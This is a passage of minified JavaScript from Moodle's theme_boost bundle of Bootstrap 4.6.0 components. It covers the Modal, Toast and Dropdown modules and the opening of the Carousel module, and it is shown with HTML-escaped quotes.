NAME=&quot;modal&quot;,EVENT_KEY=&quot;.&quot;.concat(&quot;bs.modal&quot;),JQUERY_NO_CONFLICT=_jquery.default.fn.modal,Default={backdrop:!0,keyboard:!0,focus:!0,show:!0},DefaultType={backdrop:&quot;(boolean|string)&quot;,keyboard:&quot;boolean&quot;,focus:&quot;boolean&quot;,show:&quot;boolean&quot;},EVENT_HIDE=&quot;hide&quot;.concat(EVENT_KEY),EVENT_HIDE_PREVENTED=&quot;hidePrevented&quot;.concat(EVENT_KEY),EVENT_HIDDEN=&quot;hidden&quot;.concat(EVENT_KEY),EVENT_SHOW=&quot;show&quot;.concat(EVENT_KEY),EVENT_SHOWN=&quot;shown&quot;.concat(EVENT_KEY),EVENT_FOCUSIN=&quot;focusin&quot;.concat(EVENT_KEY),EVENT_RESIZE=&quot;resize&quot;.concat(EVENT_KEY),EVENT_CLICK_DISMISS=&quot;click.dismiss&quot;.concat(EVENT_KEY),EVENT_KEYDOWN_DISMISS=&quot;keydown.dismiss&quot;.concat(EVENT_KEY),EVENT_MOUSEUP_DISMISS=&quot;mouseup.dismiss&quot;.concat(EVENT_KEY),EVENT_MOUSEDOWN_DISMISS=&quot;mousedown.dismiss&quot;.concat(EVENT_KEY),EVENT_CLICK_DATA_API=&quot;click&quot;.concat(EVENT_KEY).concat(&quot;.data-api&quot;);class Modal{constructor(element,config){this._config=this._getConfig(config),this._element=element,this._dialog=element.querySelector(&quot;.modal-dialog&quot;),this._backdrop=null,this._isShown=!1,this._isBodyOverflowing=!1,this._ignoreBackdropClick=!1,this._isTransitioning=!1,this._scrollbarWidth=0}static get VERSION(){return&quot;4.6.0&quot;}static get Default(){return Default}toggle(relatedTarget){return this._isShown?this.hide():this.show(relatedTarget)}show(relatedTarget){if(this._isShown||this._isTransitioning)return;(0,_jquery.default)(this._element).hasClass(&quot;fade&quot;)&amp;&amp;(this._isTransitioning=!0);const showEvent=_jquery.default.Event(EVENT_SHOW,{relatedTarget:relatedTarget});(0,_jquery.default)(this._element).trigger(showEvent),this._isShown||showEvent.isDefaultPrevented()||(this._isShown=!0,this._checkScrollbar(),this._setScrollbar(),this._adjustDialog(),this._setEscapeEvent(),this._setResizeEvent(),(0,_jquery.default)(this._element).on(EVENT_CLICK_DISMISS,&#039;[data-dismiss=&quot;modal&quot;]&#039;,(event=&gt;this.hide(event))),(0,_jquery.default)(this._dialog).on(EVENT_MOUSEDOWN_DISMISS,(()=&gt;{(0,_jquery.default)(this._element).one(EVENT_MOUSEUP_DISMISS,(event=&gt;{(0,_jquery.default)(event.target).is(this._element)&amp;&amp;(this._ignoreBackdropClick=!0)}))})),this._showBackdrop((()=&gt;this._showElement(relatedTarget))))}hide(event){if(event&amp;&amp;event.preventDefault(),!this._isShown||this._isTransitioning)return;const hideEvent=_jquery.default.Event(EVENT_HIDE);if((0,_jquery.default)(this._element).trigger(hideEvent),!this._isShown||hideEvent.isDefaultPrevented())return;this._isShown=!1;const transition=(0,_jquery.default)(this._element).hasClass(&quot;fade&quot;);if(transition&amp;&amp;(this._isTransitioning=!0),this._setEscapeEvent(),this._setResizeEvent(),(0,_jquery.default)(document).off(EVENT_FOCUSIN),(0,_jquery.default)(this._element).removeClass(&quot;show&quot;),(0,_jquery.default)(this._element).off(EVENT_CLICK_DISMISS),(0,_jquery.default)(this._dialog).off(EVENT_MOUSEDOWN_DISMISS),transition){const transitionDuration=_util.default.getTransitionDurationFromElement(this._element);(0,_jquery.default)(this._element).one(_util.default.TRANSITION_END,(event=&gt;this._hideModal(event))).emulateTransitionEnd(transitionDuration)}else this._hideModal()}dispose(){[window,this._element,this._dialog].forEach((htmlElement=&gt;(0,_jquery.default)(htmlElement).off(EVENT_KEY))),(0,_jquery.default)(document).off(EVENT_FOCUSIN),_jquery.default.removeData(this._element,&quot;bs.modal&quot;),this._config=null,this._element=null,this._dialog=null,this._backdrop=null,this._isShown=null,this._isBodyOverflowing=null,this._ignoreBackdropClick=null,this._isTransitioning=null,this._scrollbarWidth=null}handleUpdate(){this._adjustDialog()}_getConfig(config){return config={...Default,...config},_util.default.typeCheckConfig(NAME,config,DefaultType),config}_triggerBackdropTransition(){const hideEventPrevented=_jquery.default.Event(EVENT_HIDE_PREVENTED);if((0,_jquery.default)(this._element).trigger(hideEventPrevented),hideEventPrevented.isDefaultPrevented())return;const isModalOverflowing=this._element.scrollHeight&gt;document.documentElement.clientHeight;isModalOverflowing||(this._element.style.overflowY=&quot;hidden&quot;),this._element.classList.add(&quot;modal-static&quot;);const modalTransitionDuration=_util.default.getTransitionDurationFromElement(this._dialog);(0,_jquery.default)(this._element).off(_util.default.TRANSITION_END),(0,_jquery.default)(this._element).one(_util.default.TRANSITION_END,(()=&gt;{this._element.classList.remove(&quot;modal-static&quot;),isModalOverflowing||(0,_jquery.default)(this._element).one(_util.default.TRANSITION_END,(()=&gt;{this._element.style.overflowY=&quot;&quot;})).emulateTransitionEnd(this._element,modalTransitionDuration)})).emulateTransitionEnd(modalTransitionDuration),this._element.focus()}_showElement(relatedTarget){const transition=(0,_jquery.default)(this._element).hasClass(&quot;fade&quot;),modalBody=this._dialog?this._dialog.querySelector(&quot;.modal-body&quot;):null;this._element.parentNode&amp;&amp;this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.display=&quot;block&quot;,this._element.removeAttribute(&quot;aria-hidden&quot;),this._element.setAttribute(&quot;aria-modal&quot;,!0),this._element.setAttribute(&quot;role&quot;,&quot;dialog&quot;),(0,_jquery.default)(this._dialog).hasClass(&quot;modal-dialog-scrollable&quot;)&amp;&amp;modalBody?modalBody.scrollTop=0:this._element.scrollTop=0,transition&amp;&amp;_util.default.reflow(this._element),(0,_jquery.default)(this._element).addClass(&quot;show&quot;),this._config.focus&amp;&amp;this._enforceFocus();const shownEvent=_jquery.default.Event(EVENT_SHOWN,{relatedTarget:relatedTarget}),transitionComplete=()=&gt;{this._config.focus&amp;&amp;this._element.focus(),this._isTransitioning=!1,(0,_jquery.default)(this._element).trigger(shownEvent)};if(transition){const transitionDuration=_util.default.getTransitionDurationFromElement(this._dialog);(0,_jquery.default)(this._dialog).one(_util.default.TRANSITION_END,transitionComplete).emulateTransitionEnd(transitionDuration)}else transitionComplete()}_enforceFocus(){(0,_jquery.default)(document).off(EVENT_FOCUSIN).on(EVENT_FOCUSIN,(event=&gt;{document!==event.target&amp;&amp;this._element!==event.target&amp;&amp;0===(0,_jquery.default)(this._element).has(event.target).length&amp;&amp;this._element.focus()}))}_setEscapeEvent(){this._isShown?(0,_jquery.default)(this._element).on(EVENT_KEYDOWN_DISMISS,(event=&gt;{this._config.keyboard&amp;&amp;27===event.which?(event.preventDefault(),this.hide()):this._config.keyboard||27!==event.which||this._triggerBackdropTransition()})):this._isShown||(0,_jquery.default)(this._element).off(EVENT_KEYDOWN_DISMISS)}_setResizeEvent(){this._isShown?(0,_jquery.default)(window).on(EVENT_RESIZE,(event=&gt;this.handleUpdate(event))):(0,_jquery.default)(window).off(EVENT_RESIZE)}_hideModal(){this._element.style.display=&quot;none&quot;,this._element.setAttribute(&quot;aria-hidden&quot;,!0),this._element.removeAttribute(&quot;aria-modal&quot;),this._element.removeAttribute(&quot;role&quot;),this._isTransitioning=!1,this._showBackdrop((()=&gt;{(0,_jquery.default)(document.body).removeClass(&quot;modal-open&quot;),this._resetAdjustments(),this._resetScrollbar(),(0,_jquery.default)(this._element).trigger(EVENT_HIDDEN)}))}_removeBackdrop(){this._backdrop&amp;&amp;((0,_jquery.default)(this._backdrop).remove(),this._backdrop=null)}_showBackdrop(callback){const animate=(0,_jquery.default)(this._element).hasClass(&quot;fade&quot;)?&quot;fade&quot;:&quot;&quot;;if(this._isShown&amp;&amp;this._config.backdrop){if(this._backdrop=document.createElement(&quot;div&quot;),this._backdrop.className=&quot;modal-backdrop&quot;,animate&amp;&amp;this._backdrop.classList.add(animate),(0,_jquery.default)(this._backdrop).appendTo(document.body),(0,_jquery.default)(this._element).on(EVENT_CLICK_DISMISS,(event=&gt;{this._ignoreBackdropClick?this._ignoreBackdropClick=!1:event.target===event.currentTarget&amp;&amp;(&quot;static&quot;===this._config.backdrop?this._triggerBackdropTransition():this.hide())})),animate&amp;&amp;_util.default.reflow(this._backdrop),(0,_jquery.default)(this._backdrop).addClass(&quot;show&quot;),!callback)return;if(!animate)return void callback();const backdropTransitionDuration=_util.default.getTransitionDurationFromElement(this._backdrop);(0,_jquery.default)(this._backdrop).one(_util.default.TRANSITION_END,callback).emulateTransitionEnd(backdropTransitionDuration)}else if(!this._isShown&amp;&amp;this._backdrop){(0,_jquery.default)(this._backdrop).removeClass(&quot;show&quot;);const callbackRemove=()=&gt;{this._removeBackdrop(),callback&amp;&amp;callback()};if((0,_jquery.default)(this._element).hasClass(&quot;fade&quot;)){const backdropTransitionDuration=_util.default.getTransitionDurationFromElement(this._backdrop);(0,_jquery.default)(this._backdrop).one(_util.default.TRANSITION_END,callbackRemove).emulateTransitionEnd(backdropTransitionDuration)}else callbackRemove()}else callback&amp;&amp;callback()}_adjustDialog(){const isModalOverflowing=this._element.scrollHeight&gt;document.documentElement.clientHeight;!this._isBodyOverflowing&amp;&amp;isModalOverflowing&amp;&amp;(this._element.style.paddingLeft=&quot;&quot;.concat(this._scrollbarWidth,&quot;px&quot;)),this._isBodyOverflowing&amp;&amp;!isModalOverflowing&amp;&amp;(this._element.style.paddingRight=&quot;&quot;.concat(this._scrollbarWidth,&quot;px&quot;))}_resetAdjustments(){this._element.style.paddingLeft=&quot;&quot;,this._element.style.paddingRight=&quot;&quot;}_checkScrollbar(){const rect=document.body.getBoundingClientRect();this._isBodyOverflowing=Math.round(rect.left+rect.right)&lt;window.innerWidth,this._scrollbarWidth=this._getScrollbarWidth()}_setScrollbar(){if(this._isBodyOverflowing){const fixedContent=[].slice.call(document.querySelectorAll(&quot;.fixed-top, .fixed-bottom, .is-fixed, .sticky-top&quot;)),stickyContent=[].slice.call(document.querySelectorAll(&quot;.sticky-top&quot;));(0,_jquery.default)(fixedContent).each(((index,element)=&gt;{const actualPadding=element.style.paddingRight,calculatedPadding=(0,_jquery.default)(element).css(&quot;padding-right&quot;);(0,_jquery.default)(element).data(&quot;padding-right&quot;,actualPadding).css(&quot;padding-right&quot;,&quot;&quot;.concat(parseFloat(calculatedPadding)+this._scrollbarWidth,&quot;px&quot;))})),(0,_jquery.default)(stickyContent).each(((index,element)=&gt;{const actualMargin=element.style.marginRight,calculatedMargin=(0,_jquery.default)(element).css(&quot;margin-right&quot;);(0,_jquery.default)(element).data(&quot;margin-right&quot;,actualMargin).css(&quot;margin-right&quot;,&quot;&quot;.concat(parseFloat(calculatedMargin)-this._scrollbarWidth,&quot;px&quot;))}));const actualPadding=document.body.style.paddingRight,calculatedPadding=(0,_jquery.default)(document.body).css(&quot;padding-right&quot;);(0,_jquery.default)(document.body).data(&quot;padding-right&quot;,actualPadding).css(&quot;padding-right&quot;,&quot;&quot;.concat(parseFloat(calculatedPadding)+this._scrollbarWidth,&quot;px&quot;))}(0,_jquery.default)(document.body).addClass(&quot;modal-open&quot;)}_resetScrollbar(){const fixedContent=[].slice.call(document.querySelectorAll(&quot;.fixed-top, .fixed-bottom, .is-fixed, .sticky-top&quot;));(0,_jquery.default)(fixedContent).each(((index,element)=&gt;{const padding=(0,_jquery.default)(element).data(&quot;padding-right&quot;);(0,_jquery.default)(element).removeData(&quot;padding-right&quot;),element.style.paddingRight=padding||&quot;&quot;}));const elements=[].slice.call(document.querySelectorAll(&quot;&quot;.concat(&quot;.sticky-top&quot;)));(0,_jquery.default)(elements).each(((index,element)=&gt;{const margin=(0,_jquery.default)(element).data(&quot;margin-right&quot;);void 0!==margin&amp;&amp;(0,_jquery.default)(element).css(&quot;margin-right&quot;,margin).removeData(&quot;margin-right&quot;)}));const padding=(0,_jquery.default)(document.body).data(&quot;padding-right&quot;);(0,_jquery.default)(document.body).removeData(&quot;padding-right&quot;),document.body.style.paddingRight=padding||&quot;&quot;}_getScrollbarWidth(){const scrollDiv=document.createElement(&quot;div&quot;);scrollDiv.className=&quot;modal-scrollbar-measure&quot;,document.body.appendChild(scrollDiv);const scrollbarWidth=scrollDiv.getBoundingClientRect().width-scrollDiv.clientWidth;return document.body.removeChild(scrollDiv),scrollbarWidth}static _jQueryInterface(config,relatedTarget){return this.each((function(){let data=(0,_jquery.default)(this).data(&quot;bs.modal&quot;);const _config={...Default,...(0,_jquery.default)(this).data(),...&quot;object&quot;==typeof config&amp;&amp;config?config:{}};if(data||(data=new Modal(this,_config),(0,_jquery.default)(this).data(&quot;bs.modal&quot;,data)),&quot;string&quot;==typeof config){if(void 0===data[config])throw new TypeError(&#039;No method named &quot;&#039;.concat(config,&#039;&quot;&#039;));data[config](relatedTarget)}else _config.show&amp;&amp;data.show(relatedTarget)}))}}(0,_jquery.default)(document).on(EVENT_CLICK_DATA_API,&#039;[data-toggle=&quot;modal&quot;]&#039;,(function(event){let target;const selector=_util.default.getSelectorFromElement(this);selector&amp;&amp;(target=document.querySelector(selector));const config=(0,_jquery.default)(target).data(&quot;bs.modal&quot;)?&quot;toggle&quot;:{...(0,_jquery.default)(target).data(),...(0,_jquery.default)(this).data()};&quot;A&quot;!==this.tagName&amp;&amp;&quot;AREA&quot;!==this.tagName||event.preventDefault();const $target=(0,_jquery.default)(target).one(EVENT_SHOW,(showEvent=&gt;{showEvent.isDefaultPrevented()||$target.one(EVENT_HIDDEN,(()=&gt;{(0,_jquery.default)(this).is(&quot;:visible&quot;)&amp;&amp;this.focus()}))}));Modal._jQueryInterface.call((0,_jquery.default)(target),config,this)})),_jquery.default.fn.modal=Modal._jQueryInterface,_jquery.default.fn.modal.Constructor=Modal,_jquery.default.fn.modal.noConflict=()=&gt;(_jquery.default.fn.modal=JQUERY_NO_CONFLICT,Modal._jQueryInterface);var _default=Modal;return _exports.default=_default,_exports.default}));
define(&quot;theme_boost/bootstrap/toast&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;./util&quot;],(function(_exports,_jquery,_util){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),_util=_interopRequireDefault(_util);const NAME=&quot;toast&quot;,EVENT_KEY=&quot;.&quot;.concat(&quot;bs.toast&quot;),JQUERY_NO_CONFLICT=_jquery.default.fn.toast,EVENT_CLICK_DISMISS=&quot;click.dismiss&quot;.concat(EVENT_KEY),EVENT_HIDE=&quot;hide&quot;.concat(EVENT_KEY),EVENT_HIDDEN=&quot;hidden&quot;.concat(EVENT_KEY),EVENT_SHOW=&quot;show&quot;.concat(EVENT_KEY),EVENT_SHOWN=&quot;shown&quot;.concat(EVENT_KEY),DefaultType={animation:&quot;boolean&quot;,autohide:&quot;boolean&quot;,delay:&quot;number&quot;},Default={animation:!0,autohide:!0,delay:500};class Toast{constructor(element,config){this._element=element,this._config=this._getConfig(config),this._timeout=null,this._setListeners()}static get VERSION(){return&quot;4.6.0&quot;}static get DefaultType(){return DefaultType}static get Default(){return Default}show(){const showEvent=_jquery.default.Event(EVENT_SHOW);if((0,_jquery.default)(this._element).trigger(showEvent),showEvent.isDefaultPrevented())return;this._clearTimeout(),this._config.animation&amp;&amp;this._element.classList.add(&quot;fade&quot;);const complete=()=&gt;{this._element.classList.remove(&quot;showing&quot;),this._element.classList.add(&quot;show&quot;),(0,_jquery.default)(this._element).trigger(EVENT_SHOWN),this._config.autohide&amp;&amp;(this._timeout=setTimeout((()=&gt;{this.hide()}),this._config.delay))};if(this._element.classList.remove(&quot;hide&quot;),_util.default.reflow(this._element),this._element.classList.add(&quot;showing&quot;),this._config.animation){const transitionDuration=_util.default.getTransitionDurationFromElement(this._element);(0,_jquery.default)(this._element).one(_util.default.TRANSITION_END,complete).emulateTransitionEnd(transitionDuration)}else complete()}hide(){if(!this._element.classList.contains(&quot;show&quot;))return;const hideEvent=_jquery.default.Event(EVENT_HIDE);(0,_jquery.default)(this._element).trigger(hideEvent),hideEvent.isDefaultPrevented()||this._close()}dispose(){this._clearTimeout(),this._element.classList.contains(&quot;show&quot;)&amp;&amp;this._element.classList.remove(&quot;show&quot;),(0,_jquery.default)(this._element).off(EVENT_CLICK_DISMISS),_jquery.default.removeData(this._element,&quot;bs.toast&quot;),this._element=null,this._config=null}_getConfig(config){return config={...Default,...(0,_jquery.default)(this._element).data(),...&quot;object&quot;==typeof config&amp;&amp;config?config:{}},_util.default.typeCheckConfig(NAME,config,this.constructor.DefaultType),config}_setListeners(){(0,_jquery.default)(this._element).on(EVENT_CLICK_DISMISS,&#039;[data-dismiss=&quot;toast&quot;]&#039;,(()=&gt;this.hide()))}_close(){const complete=()=&gt;{this._element.classList.add(&quot;hide&quot;),(0,_jquery.default)(this._element).trigger(EVENT_HIDDEN)};if(this._element.classList.remove(&quot;show&quot;),this._config.animation){const transitionDuration=_util.default.getTransitionDurationFromElement(this._element);(0,_jquery.default)(this._element).one(_util.default.TRANSITION_END,complete).emulateTransitionEnd(transitionDuration)}else complete()}_clearTimeout(){clearTimeout(this._timeout),this._timeout=null}static _jQueryInterface(config){return this.each((function(){const $element=(0,_jquery.default)(this);let data=$element.data(&quot;bs.toast&quot;);if(data||(data=new Toast(this,&quot;object&quot;==typeof config&amp;&amp;config),$element.data(&quot;bs.toast&quot;,data)),&quot;string&quot;==typeof config){if(void 0===data[config])throw new TypeError(&#039;No method named &quot;&#039;.concat(config,&#039;&quot;&#039;));data[config](this)}}))}}_jquery.default.fn.toast=Toast._jQueryInterface,_jquery.default.fn.toast.Constructor=Toast,_jquery.default.fn.toast.noConflict=()=&gt;(_jquery.default.fn.toast=JQUERY_NO_CONFLICT,Toast._jQueryInterface);var _default=Toast;return _exports.default=_default,_exports.default}));
define(&quot;theme_boost/bootstrap/dropdown&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/popper&quot;,&quot;./util&quot;],(function(_exports,_jquery,_popper,_util){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),_popper=_interopRequireDefault(_popper),_util=_interopRequireDefault(_util);const NAME=&quot;dropdown&quot;,DATA_KEY=&quot;bs.dropdown&quot;,EVENT_KEY=&quot;.&quot;.concat(DATA_KEY),JQUERY_NO_CONFLICT=_jquery.default.fn[NAME],REGEXP_KEYDOWN=new RegExp(&quot;&quot;.concat(38,&quot;|&quot;).concat(40,&quot;|&quot;).concat(27)),EVENT_HIDE=&quot;hide&quot;.concat(EVENT_KEY),EVENT_HIDDEN=&quot;hidden&quot;.concat(EVENT_KEY),EVENT_SHOW=&quot;show&quot;.concat(EVENT_KEY),EVENT_SHOWN=&quot;shown&quot;.concat(EVENT_KEY),EVENT_CLICK=&quot;click&quot;.concat(EVENT_KEY),EVENT_CLICK_DATA_API=&quot;click&quot;.concat(EVENT_KEY).concat(&quot;.data-api&quot;),EVENT_KEYDOWN_DATA_API=&quot;keydown&quot;.concat(EVENT_KEY).concat(&quot;.data-api&quot;),EVENT_KEYUP_DATA_API=&quot;keyup&quot;.concat(EVENT_KEY).concat(&quot;.data-api&quot;),Default={offset:0,flip:!0,boundary:&quot;scrollParent&quot;,reference:&quot;toggle&quot;,display:&quot;dynamic&quot;,popperConfig:null},DefaultType={offset:&quot;(number|string|function)&quot;,flip:&quot;boolean&quot;,boundary:&quot;(string|element)&quot;,reference:&quot;(string|element)&quot;,display:&quot;string&quot;,popperConfig:&quot;(null|object)&quot;};class Dropdown{constructor(element,config){this._element=element,this._popper=null,this._config=this._getConfig(config),this._menu=this._getMenuElement(),this._inNavbar=this._detectNavbar(),this._addEventListeners()}static get VERSION(){return&quot;4.6.0&quot;}static get Default(){return Default}static get DefaultType(){return DefaultType}toggle(){if(this._element.disabled||(0,_jquery.default)(this._element).hasClass(&quot;disabled&quot;))return;const isActive=(0,_jquery.default)(this._menu).hasClass(&quot;show&quot;);Dropdown._clearMenus(),isActive||this.show(!0)}show(){let usePopper=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]&amp;&amp;arguments[0];if(this._element.disabled||(0,_jquery.default)(this._element).hasClass(&quot;disabled&quot;)||(0,_jquery.default)(this._menu).hasClass(&quot;show&quot;))return;const relatedTarget={relatedTarget:this._element},showEvent=_jquery.default.Event(EVENT_SHOW,relatedTarget),parent=Dropdown._getParentFromElement(this._element);if((0,_jquery.default)(parent).trigger(showEvent),!showEvent.isDefaultPrevented()){if(!this._inNavbar&amp;&amp;usePopper){if(void 0===_popper.default)throw new TypeError(&quot;Bootstrap&#039;s dropdowns require Popper (https://popper.js.org)&quot;);let referenceElement=this._element;&quot;parent&quot;===this._config.reference?referenceElement=parent:_util.default.isElement(this._config.reference)&amp;&amp;(referenceElement=this._config.reference,void 0!==this._config.reference.jquery&amp;&amp;(referenceElement=this._config.reference[0])),&quot;scrollParent&quot;!==this._config.boundary&amp;&amp;(0,_jquery.default)(parent).addClass(&quot;position-static&quot;),this._popper=new _popper.default(referenceElement,this._menu,this._getPopperConfig())}&quot;ontouchstart&quot;in document.documentElement&amp;&amp;0===(0,_jquery.default)(parent).closest(&quot;.navbar-nav&quot;).length&amp;&amp;(0,_jquery.default)(document.body).children().on(&quot;mouseover&quot;,null,_jquery.default.noop),this._element.focus(),this._element.setAttribute(&quot;aria-expanded&quot;,!0),(0,_jquery.default)(this._menu).toggleClass(&quot;show&quot;),(0,_jquery.default)(parent).toggleClass(&quot;show&quot;).trigger(_jquery.default.Event(EVENT_SHOWN,relatedTarget))}}hide(){if(this._element.disabled||(0,_jquery.default)(this._element).hasClass(&quot;disabled&quot;)||!(0,_jquery.default)(this._menu).hasClass(&quot;show&quot;))return;const relatedTarget={relatedTarget:this._element},hideEvent=_jquery.default.Event(EVENT_HIDE,relatedTarget),parent=Dropdown._getParentFromElement(this._element);(0,_jquery.default)(parent).trigger(hideEvent),hideEvent.isDefaultPrevented()||(this._popper&amp;&amp;this._popper.destroy(),(0,_jquery.default)(this._menu).toggleClass(&quot;show&quot;),(0,_jquery.default)(parent).toggleClass(&quot;show&quot;).trigger(_jquery.default.Event(EVENT_HIDDEN,relatedTarget)))}dispose(){_jquery.default.removeData(this._element,DATA_KEY),(0,_jquery.default)(this._element).off(EVENT_KEY),this._element=null,this._menu=null,null!==this._popper&amp;&amp;(this._popper.destroy(),this._popper=null)}update(){this._inNavbar=this._detectNavbar(),null!==this._popper&amp;&amp;this._popper.scheduleUpdate()}_addEventListeners(){(0,_jquery.default)(this._element).on(EVENT_CLICK,(event=&gt;{event.preventDefault(),event.stopPropagation(),this.toggle()}))}_getConfig(config){return config={...this.constructor.Default,...(0,_jquery.default)(this._element).data(),...config},_util.default.typeCheckConfig(NAME,config,this.constructor.DefaultType),config}_getMenuElement(){if(!this._menu){const parent=Dropdown._getParentFromElement(this._element);parent&amp;&amp;(this._menu=parent.querySelector(&quot;.dropdown-menu&quot;))}return this._menu}_getPlacement(){const $parentDropdown=(0,_jquery.default)(this._element.parentNode);let placement=&quot;bottom-start&quot;;return $parentDropdown.hasClass(&quot;dropup&quot;)?placement=(0,_jquery.default)(this._menu).hasClass(&quot;dropdown-menu-right&quot;)?&quot;top-end&quot;:&quot;top-start&quot;:$parentDropdown.hasClass(&quot;dropright&quot;)?placement=&quot;right-start&quot;:$parentDropdown.hasClass(&quot;dropleft&quot;)?placement=&quot;left-start&quot;:(0,_jquery.default)(this._menu).hasClass(&quot;dropdown-menu-right&quot;)&amp;&amp;(placement=&quot;bottom-end&quot;),placement}_detectNavbar(){return(0,_jquery.default)(this._element).closest(&quot;.navbar&quot;).length&gt;0}_getOffset(){const offset={};return&quot;function&quot;==typeof this._config.offset?offset.fn=data=&gt;(data.offsets={...data.offsets,...this._config.offset(data.offsets,this._element)||{}},data):offset.offset=this._config.offset,offset}_getPopperConfig(){const popperConfig={placement:this._getPlacement(),modifiers:{offset:this._getOffset(),flip:{enabled:this._config.flip},preventOverflow:{boundariesElement:this._config.boundary}}};return&quot;static&quot;===this._config.display&amp;&amp;(popperConfig.modifiers.applyStyle={enabled:!1}),{...popperConfig,...this._config.popperConfig}}static _jQueryInterface(config){return this.each((function(){let data=(0,_jquery.default)(this).data(DATA_KEY);if(data||(data=new Dropdown(this,&quot;object&quot;==typeof config?config:null),(0,_jquery.default)(this).data(DATA_KEY,data)),&quot;string&quot;==typeof config){if(void 0===data[config])throw new TypeError(&#039;No method named &quot;&#039;.concat(config,&#039;&quot;&#039;));data[config]()}}))}static _clearMenus(event){if(event&amp;&amp;(3===event.which||&quot;keyup&quot;===event.type&amp;&amp;9!==event.which))return;const toggles=[].slice.call(document.querySelectorAll(&#039;[data-toggle=&quot;dropdown&quot;]&#039;));for(let i=0,len=toggles.length;i&lt;len;i++){const parent=Dropdown._getParentFromElement(toggles[i]),context=(0,_jquery.default)(toggles[i]).data(DATA_KEY),relatedTarget={relatedTarget:toggles[i]};if(event&amp;&amp;&quot;click&quot;===event.type&amp;&amp;(relatedTarget.clickEvent=event),!context)continue;const dropdownMenu=context._menu;if(!(0,_jquery.default)(parent).hasClass(&quot;show&quot;))continue;if(event&amp;&amp;(&quot;click&quot;===event.type&amp;&amp;/input|textarea/i.test(event.target.tagName)||&quot;keyup&quot;===event.type&amp;&amp;9===event.which)&amp;&amp;_jquery.default.contains(parent,event.target))continue;const hideEvent=_jquery.default.Event(EVENT_HIDE,relatedTarget);(0,_jquery.default)(parent).trigger(hideEvent),hideEvent.isDefaultPrevented()||(&quot;ontouchstart&quot;in document.documentElement&amp;&amp;(0,_jquery.default)(document.body).children().off(&quot;mouseover&quot;,null,_jquery.default.noop),toggles[i].setAttribute(&quot;aria-expanded&quot;,&quot;false&quot;),context._popper&amp;&amp;context._popper.destroy(),(0,_jquery.default)(dropdownMenu).removeClass(&quot;show&quot;),(0,_jquery.default)(parent).removeClass(&quot;show&quot;).trigger(_jquery.default.Event(EVENT_HIDDEN,relatedTarget)))}}static _getParentFromElement(element){let parent;const selector=_util.default.getSelectorFromElement(element);return selector&amp;&amp;(parent=document.querySelector(selector)),parent||element.parentNode}static _dataApiKeydownHandler(event){if(/input|textarea/i.test(event.target.tagName)?32===event.which||27!==event.which&amp;&amp;(40!==event.which&amp;&amp;38!==event.which||(0,_jquery.default)(event.target).closest(&quot;.dropdown-menu&quot;).length):!REGEXP_KEYDOWN.test(event.which))return;if(this.disabled||(0,_jquery.default)(this).hasClass(&quot;disabled&quot;))return;const parent=Dropdown._getParentFromElement(this),isActive=(0,_jquery.default)(parent).hasClass(&quot;show&quot;);if(!isActive&amp;&amp;27===event.which)return;if(event.preventDefault(),event.stopPropagation(),!isActive||27===event.which||32===event.which)return 27===event.which&amp;&amp;(0,_jquery.default)(parent.querySelector(&#039;[data-toggle=&quot;dropdown&quot;]&#039;)).trigger(&quot;focus&quot;),void(0,_jquery.default)(this).trigger(&quot;click&quot;);const items=[].slice.call(parent.querySelectorAll(&quot;.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)&quot;)).filter((item=&gt;(0,_jquery.default)(item).is(&quot;:visible&quot;)));if(0===items.length)return;let index=items.indexOf(event.target);38===event.which&amp;&amp;index&gt;0&amp;&amp;index--,40===event.which&amp;&amp;index&lt;items.length-1&amp;&amp;index++,index&lt;0&amp;&amp;(index=0),items[index].focus()}}(0,_jquery.default)(document).on(EVENT_KEYDOWN_DATA_API,&#039;[data-toggle=&quot;dropdown&quot;]&#039;,Dropdown._dataApiKeydownHandler).on(EVENT_KEYDOWN_DATA_API,&quot;.dropdown-menu&quot;,Dropdown._dataApiKeydownHandler).on(&quot;&quot;.concat(EVENT_CLICK_DATA_API,&quot; &quot;).concat(EVENT_KEYUP_DATA_API),Dropdown._clearMenus).on(EVENT_CLICK_DATA_API,&#039;[data-toggle=&quot;dropdown&quot;]&#039;,(function(event){event.preventDefault(),event.stopPropagation(),Dropdown._jQueryInterface.call((0,_jquery.default)(this),&quot;toggle&quot;)})).on(EVENT_CLICK_DATA_API,&quot;.dropdown form&quot;,(e=&gt;{e.stopPropagation()})),_jquery.default.fn[NAME]=Dropdown._jQueryInterface,_jquery.default.fn[NAME].Constructor=Dropdown,_jquery.default.fn[NAME].noConflict=()=&gt;(_jquery.default.fn[NAME]=JQUERY_NO_CONFLICT,Dropdown._jQueryInterface);var _default=Dropdown;return _exports.default=_default,_exports.default}));
define(&quot;theme_boost/bootstrap/carousel&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;./util&quot;],(function(_exports,_jquery,_util){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),_util=_interopRequireDefault(_util);const 